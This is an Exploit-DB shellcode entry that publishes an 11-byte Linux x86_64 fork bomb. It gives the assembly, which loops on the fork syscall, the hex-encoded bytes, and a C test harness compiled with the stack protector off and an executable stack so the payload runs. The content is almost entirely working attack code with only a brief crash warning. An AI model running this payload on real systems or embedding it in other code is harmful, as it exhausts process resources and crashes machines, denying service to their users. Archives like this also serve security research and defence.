Linux/x86_64 - Fork Bomb Shellcode (11 bytes)

EDB-ID: 42523
Author: Touhid M.Shaikh
Published: 2017-08-19
CVE: N/A
Type: Shellcode
Platform: Lin_x86-64
Shellcode: Download Shellcode Code Download / View Raw 


 ;Title: Linux/x86_64 - fork() Bomb (11 bytes) 
 ;Author: Touhid M.Shaikh 
 ;Contact: https://twitter.com/touhidshaikh 
 ;Category: Shellcode 
 ;Architecture: Linux x86_64 
 ;Description: WARNING! this shellcode may crash your computer if executed 
 in your system. 
 ;Shellcode Length: 11 
 ;Tested on : Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux 
  
  
  
 ===COMPILATION AND EXECUTION Assemmbly file=== 
  
 #nasm -f elf64 shell.asm -o shell.o <=== Making Object File 
  
 #ld shell.o -o shell <=== Making Binary File 
  
 #./bin2shell.sh shell <== xtract hex code from the binary( 
 https://github.com/touhidshaikh/bin2shell) 
  
 =================SHELLCODE(INTEL FORMAT)================= 
  
 section .text 
     global _start: 
 _start: 
     xor rax,rax 
     add rax,57 
     syscall 
     jmp _start 
  
 ===================END HERE============================ 
  
 ====================FOR C Compile=========================== 
  
 Compile with gcc with some options. 
  
 # gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing 
  
 */ 
  
 #include<stdio.h> 
 #include<string.h> 
  
  
 unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\xeb\xf5"; 
  
 main() 
 { 
  
 printf("Shellcode Length:  %d\n", (int)strlen(code)); 
  
 int (*ret)() = (int(*)())code; 
  
 ret(); 
  
 } 
  
 /*More Shellcode => Download Link : 
 https://github.com/touhidshaikh/shellcode/tree/master/Linux */

Source: www.exploit-db.com
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